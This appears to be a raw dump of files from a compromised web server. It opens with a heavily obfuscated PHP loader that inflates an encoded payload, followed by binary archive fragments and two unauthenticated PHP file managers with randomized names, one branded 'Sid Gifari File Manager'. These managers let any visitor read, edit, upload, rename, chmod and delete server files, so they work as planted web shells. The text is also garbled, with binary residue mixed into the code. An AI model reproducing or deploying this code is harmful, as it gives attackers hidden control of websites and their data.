���;�lj�:if(!($����<�ߕ(0x001992,0x0000019bd,0x00196a)($����)))goto ��ڄ;goto �䓫;ц˚:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;�Ɖ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�֝:global $ה��;goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ɖ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;�Ǘ�:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;��ś:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ν�;����:$���=pow(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ˤ��;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;Ν�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �֝�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �ڱ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;ڒ��:global $��˯;goto ��;����:$����++;goto ��;��Lj:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ��ݿ;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �諯;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;Ŗ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ў��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��ݴ;��:global $���;goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto �ڔ�;�葡:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto �ܓ�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;ˤ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;¨�:���:goto �lj�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;�׿�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto Ч��;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto Ν�;�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;ў��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;���:global $���;goto ڒ��;���:global $���;goto ����;�ݭ�:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��̼;���:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto ����;����:global $���;goto ���;����:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��˂;�̙�:return $����;goto ����;�՘�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ���;蜨�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;�ַ�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��׭;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��—:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ɡ·;�ܓ�:��:goto ����;��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ע��;����:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$����=gzinflate(�ߕ(0x00191a,0x000001940,0x0000018fa)($����));goto �Ǘ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�ڔ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:global $ה��;goto �ټ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �׿�;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:global $���;goto ����;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��Ō;��Ō:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;栲�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;�֝�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;����:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ӽ��;�ڱ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�Ѷ�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��Lj;�ĝ�:$����=0;goto ¨�;����:$����[$����]=����(0x02463,0x0246d,0x002432)(����(0x0000249d,0x00002489)($����[$����])-0x001);goto ����;��:$ה��=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=pow(round($���),$ה��*0xab/($���+0xab)*M_PI);goto �ĝ�;Ķ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;�ծ:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ᝪ�;��:goto ���;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto Ķ��;�Ө�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto �ݭ�;ݝ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;��׭:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 栲�;��̼:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ц˚;��˂:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ��ś;ӽ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ��;ðل:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto Ö��;���:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ݝ��;χ��:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 蜨�;����:}goto �IJ�;����:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);PK�:m\��f(�E�E	f3wzk.phpnu�[���<?php
// file_manager_simple.php - File Manager without JavaScript
session_start();
error_reporting(0);

// ==================== CONFIGURATION ====================
$base_dir = realpath(__DIR__);
$root_anchor = dirname($base_dir);

// ==================== HELPER FUNCTIONS ====================
function sanitize_path($path){
    $path = str_replace('..', '', $path);
    $path = preg_replace('/[^a-zA-Z0-9\.\_\-\/]/', '', $path);
    return trim($path, '/');
}

function safe_realpath_within($path, $allowed_root){
    $rp = realpath($path);
    if($rp === false) return false;
    
    $root = rtrim($allowed_root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
    if(strpos($rp, $root) === 0 || $rp === rtrim($allowed_root, DIRECTORY_SEPARATOR)) {
        return $rp;
    }
    return false;
}

function get_file_list($dir){
    $files = [];
    if(is_dir($dir)){
        $items = scandir($dir);
        foreach($items as $item){
            if($item === '.' || $item === '..') continue;
            $full_path = $dir . DIRECTORY_SEPARATOR . $item;
            $files[] = [
                'name' => $item,
                'path' => $full_path,
                'size' => is_file($full_path) ? filesize($full_path) : 0,
                'type' => is_dir($full_path) ? 'directory' : 'file',
                'modified' => date('Y-m-d H:i:s', filemtime($full_path))
            ];
        }
    }
    return $files;
}

function format_size($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } else {
        return $bytes . ' bytes';
    }
}

// ==================== REQUESTED DIRECTORY HANDLING ====================
$requested_dir = isset($_GET['dir']) ? sanitize_path($_GET['dir']) : basename($base_dir);
$current_dir_candidate = $root_anchor . ($requested_dir ? DIRECTORY_SEPARATOR . $requested_dir : '');
$current_dir = safe_realpath_within($current_dir_candidate, $root_anchor);

if($current_dir === false){
    $requested_dir = basename($base_dir);
    $current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor);
    if($current_dir === false){
        $requested_dir = '';
        $current_dir = safe_realpath_within($root_anchor, $root_anchor);
    }
}

// ==================== PARENT DIRECTORY CALCULATION ====================
if($requested_dir !== ''){
    $parent_dir = dirname($requested_dir);
    if($parent_dir === '.' || $parent_dir === '\\') $parent_dir = '';
} else {
    $parent_dir = '';
}

// ==================== BREADCRUMB NAVIGATION ====================
$dir_parts = [];
if($requested_dir !== ''){
    $parts = explode('/', $requested_dir);
    $current_path = '';
    foreach($parts as $part){
        $current_path .= ($current_path ? '/' : '') . $part;
        $dir_parts[] = [
            'name' => $part,
            'path' => $current_path
        ];
    }
}

// ==================== ACTION HANDLING ====================
$action = $_GET['action'] ?? 'list';
$message = '';

switch($action){
    case 'view':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
            header('Content-Type: text/plain');
            readfile($file_path);
            exit;
        }
        break;

    case 'edit':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if($_SERVER['REQUEST_METHOD'] === 'POST'){
            $content = $_POST['content'] ?? '';
            if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
                if(file_put_contents($file_path, $content) !== false){
                    $message = "File '{$file}' updated successfully!";
                } else {
                    $message = "Error updating file '{$file}'!";
                }
            }
            // Don't redirect - stay on edit page with message
        } else {
            if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
                $content = htmlspecialchars(file_get_contents($file_path));
                echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Edit: ".htmlspecialchars($file)."</title></head><body>";
                echo "<h2>Edit: ".htmlspecialchars($file)."</h2>";
                if($message) echo "<p style='color:green;'>$message</p>";
                echo "<form method='post'>";
                echo "<textarea name='content' style='width:100%;height:400px;font-family:monospace;'>$content</textarea><br><br>";
                echo "<button type='submit'>Save</button> ";
                echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>Cancel</a>";
                echo "</form></body></html>";
                exit;
            }
        }
        break;

    case 'delete':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        
        // Check if this is a confirmation request
        $confirmed = isset($_GET['confirm']) && $_GET['confirm'] === 'yes';
        
        if($confirmed && safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
            if(is_dir($file_path)){
                $it = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::CHILD_FIRST
                );
                foreach($it as $f){
                    $f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath());
                }
                rmdir($file_path);
                $message = "Folder '{$file}' deleted successfully!";
            } else {
                if(unlink($file_path)){
                    $message = "File '{$file}' deleted successfully!";
                } else {
                    $message = "Error deleting file '{$file}'!";
                }
            }
            header('Location: ?action=list&dir=' . urlencode($requested_dir) . '&message=' . urlencode($message));
            exit;
        } else {
            // Show confirmation page
            if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
                echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Confirm Delete</title></head><body>";
                echo "<h2>Confirm Delete</h2>";
                echo "<p>Are you sure you want to delete '".htmlspecialchars($file)."'?</p>";
                echo "<p><strong>Type: </strong>" . (is_dir($file_path) ? "Folder" : "File") . "</p>";
                echo "<p><strong>Path: </strong>" . htmlspecialchars($file_path) . "</p>";
                echo "<br>";
                echo "<a href='?action=delete&file=".urlencode($file)."&dir=".urlencode($requested_dir)."&confirm=yes' style='color:red;font-weight:bold;'>YES, DELETE</a> | ";
                echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>Cancel</a>";
                echo "</body></html>";
                exit;
            }
        }
        break;

    case 'upload':
        if($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['file'])){
            $uploaded = $_FILES['file'];
            if($uploaded['error'] === UPLOAD_ERR_OK){
                $name = basename($uploaded['name']);
                $dest = $current_dir . DIRECTORY_SEPARATOR . $name;
                if(safe_realpath_within(dirname($dest), $root_anchor)){
                    if(move_uploaded_file($uploaded['tmp_name'], $dest)){
                        @chmod($dest, 0644);
                        $message = "File '{$name}' uploaded successfully!";
                    } else {
                        $message = "Error uploading file '{$name}'!";
                    }
                } else {
                    $message = "Invalid upload path!";
                }
            } else {
                $message = "Upload error: " . $uploaded['error'];
            }
        }
        // Stay on same page with message
        break;

    case 'download':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($file_path).'"');
            header('Content-Length: '.filesize($file_path));
            readfile($file_path);
            exit;
        }
        break;

    case 'create_folder':
        if($_SERVER['REQUEST_METHOD'] === 'POST'){
            $folder = sanitize_path($_POST['folder_name'] ?? '');
            if($folder){
                $fp = $current_dir . DIRECTORY_SEPARATOR . $folder;
                if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){
                    if(mkdir($fp, 0755, true)){
                        $message = "Folder '{$folder}' created successfully!";
                    } else {
                        $message = "Error creating folder '{$folder}'!";
                    }
                } else {
                    $message = "Folder already exists or invalid path!";
                }
            } else {
                $message = "Please enter a folder name!";
            }
        }
        // Stay on same page with message
        break;
}

// Get message from URL if redirected
if(isset($_GET['message'])){
    $message = $_GET['message'];
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: Arial, sans-serif;
            background: #f2f4f8;
            padding: 20px;
        }
        
        .container {
            background: #fff;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 0 10px rgba(0,0,0,.08);
        }
        
        h1 {
            margin-bottom: 12px;
        }
        
        .table {
            width: 100%;
            border-collapse: collapse;
        }
        
        th, td {
            padding: 10px;
            border-bottom: 1px solid #eee;
        }
        
        th {
            background: #007bff;
            color: #fff;
            text-align: left;
        }
        
        .trhover:hover {
            background: #fafbfc;
        }
        
        .btn {
            display: inline-block;
            padding: 6px 10px;
            background: #007bff;
            color: #fff;
            border-radius: 6px;
            text-decoration: none;
            margin-right: 6px;
            border: none;
            cursor: pointer;
            font-size: 14px;
        }
        
        .btn:hover {
            background: #0056b3;
        }
        
        .btn-danger {
            background: #dc3545;
        }
        
        .btn-danger:hover {
            background: #c82333;
        }
        
        .btn-success {
            background: #28a745;
        }
        
        .btn-success:hover {
            background: #218838;
        }
        
        .pathbar {
            background: #eef2f5;
            padding: 10px;
            border-radius: 8px;
            margin-bottom: 15px;
        }
        
        .toolbar {
            margin-bottom: 12px;
            padding: 10px;
            background: #f8f9fa;
            border-radius: 8px;
        }
        
        .small {
            font-size: 0.9em;
            color: #666;
        }
        
        .message {
            padding: 10px;
            margin: 10px 0;
            border-radius: 5px;
            font-weight: bold;
        }
        
        .message.success {
            background: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .message.error {
            background: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        
        input[type="text"], input[type="file"] {
            padding: 8px;
            border: 1px solid #ddd;
            border-radius: 4px;
            margin-right: 5px;
        }
        
        .breadcrumb {
            margin: 10px 0;
            font-size: 14px;
        }
        
        .breadcrumb a {
            color: #007bff;
            text-decoration: none;
        }
        
        .breadcrumb a:hover {
            text-decoration: underline;
        }
    </style>
</head>
<body>
<div class="container">
    <h1>File Manager - <?= htmlspecialchars($current_dir) ?></h1>

    <?php if($message): ?>
        <div class="message <?= strpos($message, 'Error') === false ? 'success' : 'error' ?>">
            <?= htmlspecialchars($message) ?>
        </div>
    <?php endif; ?>

    <div class="pathbar">
        <!-- Navigation buttons -->
        <a class="btn" href="?action=list&dir=<?= urlencode($parent_dir) ?>">← Back</a>
        <a class="btn" href="?action=list&dir=<?= urlencode(basename($base_dir)) ?>">🏠 Project</a>
        <a class="btn" href="?action=list&dir=">📁 Root</a>
        
        <span class="small"> &nbsp; &nbsp; Current: 
        <?php if($requested_dir === ''): ?>
            / (<?= htmlspecialchars($root_anchor) ?>)
        <?php else: ?>
            /<?= htmlspecialchars($requested_dir) ?>
        <?php endif; ?>
        </span>
        
        <!-- Breadcrumb navigation -->
        <div class="breadcrumb">
            <a href="?action=list&dir=">Root</a>
            <?php foreach($dir_parts as $p): ?>
                › <a href="?action=list&dir=<?= urlencode($p['path']) ?>"><?= htmlspecialchars($p['name']) ?></a>
            <?php endforeach; ?>
        </div>
    </div>

    <div class="toolbar">
        <form method="post" enctype="multipart/form-data" action="?action=upload&dir=<?= urlencode($requested_dir) ?>" style="display:inline-block;">
            <input type="file" name="file" required>
            <button class="btn btn-success" type="submit">📤 Upload</button>
        </form>

        <form method="post" action="?action=create_folder&dir=<?= urlencode($requested_dir) ?>" style="display:inline-block;margin-left:8px;">
            <input type="text" name="folder_name" placeholder="New Folder Name" required>
            <button class="btn btn-success" type="submit">📁 Create Folder</button>
        </form>
    </div>

    <?php
    $files = get_file_list($current_dir);
    if(empty($files)): ?>
        <p><i>No files or folders found in this directory.</i></p>
    <?php else: ?>
        <table class="table">
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Type</th>
                    <th>Size</th>
                    <th>Modified</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach($files as $f): ?>
                    <tr class="trhover">
                        <td>
                            <?php if($f['type'] === 'directory'): ?>
                                📁 <strong><?= htmlspecialchars($f['name']) ?></strong>
                            <?php else: ?>
                                📄 <?= htmlspecialchars($f['name']) ?>
                            <?php endif; ?>
                        </td>
                        <td><?= $f['type'] ?></td>
                        <td><?= $f['type'] === 'directory' ? '-' : format_size($f['size']) ?></td>
                        <td><?= $f['modified'] ?></td>
                        <td>
                            <?php if($f['type'] === 'directory'): 
                                $next_rel = ($requested_dir !== '' ? $requested_dir . '/' : '') . $f['name'];
                            ?>
                                <a class="btn" href="?action=list&dir=<?= urlencode($next_rel) ?>">Open</a>
                            <?php else: ?>
                                <a class="btn" href="?action=edit&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Edit</a>
                                <a class="btn" href="?action=download&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Download</a>
                            <?php endif; ?>
                            <a class="btn btn-danger" href="?action=delete&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Delete</a>
                        </td>
                    </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    <?php endif; ?>
    
    <div style="margin-top: 20px; padding: 10px; background: #f8f9fa; border-radius: 5px;">
        <small>
            <strong>Security Info:</strong> 
            You can only access files within: <?= htmlspecialchars($root_anchor) ?>
        </small>
    </div>
</div>

<script>
// Simple confirmation for delete links
document.addEventListener('DOMContentLoaded', function() {
    var deleteLinks = document.querySelectorAll('a[href*="action=delete"]');
    deleteLinks.forEach(function(link) {
        link.addEventListener('click', function(e) {
            // Let the server handle confirmation - don't prevent default
            // The server will show a confirmation page
        });
    });
});
</script>
</body>
</html>PK�:m\�.�Q�%�%	v95wi.phpnu�[���<?php
// ================= CONFIG =================
$ROOT = realpath(__DIR__);  // Define the root directory
$BASE_URL = strtok($_SERVER["REQUEST_URI"], '?');  // Base URL without query parameters

// Secure path resolver
function safePath($path) {
    global $ROOT;
    $full = realpath($path);
    return ($full && strpos($full, $ROOT) === 0) ? $full : false;
}

// Get current directory from query parameters
$path = $_GET['path'] ?? '';  // Path parameter for navigation
$currentDir = safePath($ROOT . '/' . $path) ?: $ROOT;  // Resolve directory safely

// ================= ACTIONS =================
if ($_SERVER['REQUEST_METHOD'] === 'POST') {

    // Handle file uploads
    if (!empty($_FILES['files'])) {
        foreach ($_FILES['files']['tmp_name'] as $i => $tmp) {
            if ($tmp && is_uploaded_file($tmp)) {
                $destination = $currentDir . '/' . basename($_FILES['files']['name'][$i]);
                if (move_uploaded_file($tmp, $destination)) {
                    echo "File uploaded: " . basename($_FILES['files']['name'][$i]);
                } else {
                    echo "Failed to upload: " . basename($_FILES['files']['name'][$i]);
                }
            }
        }
    }

    // Handle new folder creation
    if (!empty($_POST['newfolder'])) {
        $newFolder = basename($_POST['newfolder']);
        if (!file_exists($currentDir . '/' . $newFolder)) {
            mkdir($currentDir . '/' . $newFolder, 0755);
        }
    }

    // Handle new file creation
    if (!empty($_POST['newfile'])) {
        $filename = basename($_POST['newfile']);
        $filepath = $currentDir . '/' . $filename;
        if (!file_exists($filepath)) {
            file_put_contents($filepath, '');  // Create an empty file
        }
    }

    // Handle file/folder deletion
    if (!empty($_POST['delete'])) {
        $target = safePath($currentDir . '/' . $_POST['delete']);
        if (is_file($target)) {
            unlink($target);  // Delete file
        } elseif (is_dir($target)) {
            rmdir($target);  // Delete folder
        }
    }

    // Handle renaming files/folders
    if (!empty($_POST['old']) && !empty($_POST['new'])) {
        $oldName = $currentDir . '/' . $_POST['old'];
        $newName = $currentDir . '/' . $_POST['new'];
        if (rename($oldName, $newName)) {
            echo "Renamed successfully!";
        }
    }

    // Handle chmod permissions change
    if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) {
        $target = safePath($currentDir . '/' . $_POST['chmod_file']);
        if ($target) {
            $mode = intval($_POST['chmod'], 8);
            chmod($target, $mode);
        }
    }

    // Handle file content editing
    if (!empty($_POST['edit_file']) && isset($_POST['content'])) {
        $target = safePath($currentDir . '/' . $_POST['edit_file']);
        if ($target && is_file($target)) {
            file_put_contents($target, $_POST['content']);
        }
    }

    // Redirect after POST action
    header("Location: $BASE_URL?path=" . urlencode($path));
    exit;
}

// ================= FILE LIST =================
$files = scandir($currentDir);  // Get files and directories

// Edit file mode
$editMode = isset($_GET['edit']);
$editFile = $editMode ? $_GET['edit'] : '';
$editContent = '';
if ($editMode && $editFile) {
    $target = safePath($currentDir . '/' . $editFile);
    if ($target && is_file($target)) {
        $editContent = htmlspecialchars(file_get_contents($target));
    }
}

// Build path segments for navigation
$pathSegments = [];
if ($path) {
    $segments = explode('/', trim($path, '/'));
    $currentPath = '';
    foreach ($segments as $segment) {
        $currentPath .= '/' . $segment;
        $pathSegments[] = [
            'name' => $segment,
            'path' => trim($currentPath, '/')
        ];
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Sid Gifari File Manager</title>
    <style>
        body { font-family: Arial, sans-serif; background: #f5f5f5; }
        .container { width: 90%; margin: auto; }
        h2 { text-align: center; }
        table { width: 100%; background: #fff; border-collapse: collapse; }
        th, td { padding: 8px; border-bottom: 1px solid #ddd; }
        a { text-decoration: none; color: #007bff; }
        button { padding: 5px 10px; cursor: pointer; }
        .drop { border: 2px dashed #999; padding: 20px; text-align: center; margin-bottom: 10px; }
        .permissions-form { display: inline-block; margin-left: 5px; }
        .chmod-input { width: 60px; padding: 2px; }
        .path-nav { background: #fff; padding: 10px; margin-bottom: 10px; border: 1px solid #ddd; }
        .path-nav a { margin: 0 5px; color: #333; }
        .path-nav a:hover { color: #007bff; }
        .path-nav span.separator { margin: 0 5px; color: #999; }
    </style>
</head>
<body>

<div class="container">
    <h2>Sid Gifari File Manager</h2>

    <?php if ($editMode && $editFile): ?>
        <!-- EDIT FILE MODE -->
        <div class="path-nav">
            <a href="?">🏠 Root</a>
            <?php foreach ($pathSegments as $segment): ?>
                <span class="separator">/</span>
                <a href="?path=<?= urlencode($segment['path']) ?>"><?= htmlspecialchars($segment['name']) ?></a>
            <?php endforeach; ?>
        </div>

        <h3>Editing: <?= htmlspecialchars($editFile) ?></h3>
        <form method="post">
            <input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>">
            <textarea name="content" rows="20" style="width:100%; font-family: monospace"><?= $editContent ?></textarea><br><br>
            <button type="submit">Save</button>
            <a href="?path=<?= urlencode($path) ?>"><button type="button">Cancel</button></a>
        </form>

    <?php else: ?>
        <!-- NORMAL MODE -->
        <!-- Path Navigation Bar -->
        <div class="path-nav">
            <a href="?">🏠 Root</a>
            <?php foreach ($pathSegments as $segment): ?>
                <span class="separator">/</span>
                <a href="?path=<?= urlencode($segment['path']) ?>"><?= htmlspecialchars($segment['name']) ?></a>
            <?php endforeach; ?>
        </div>

        <div class="drop">
            <form method="post" enctype="multipart/form-data">
                <input type="file" name="files[]" multiple>
                <button>Upload</button>
            </form>
        </div>

        <!-- Create Folder Form -->
        <form method="post" style="display:inline-block; margin-right:10px">
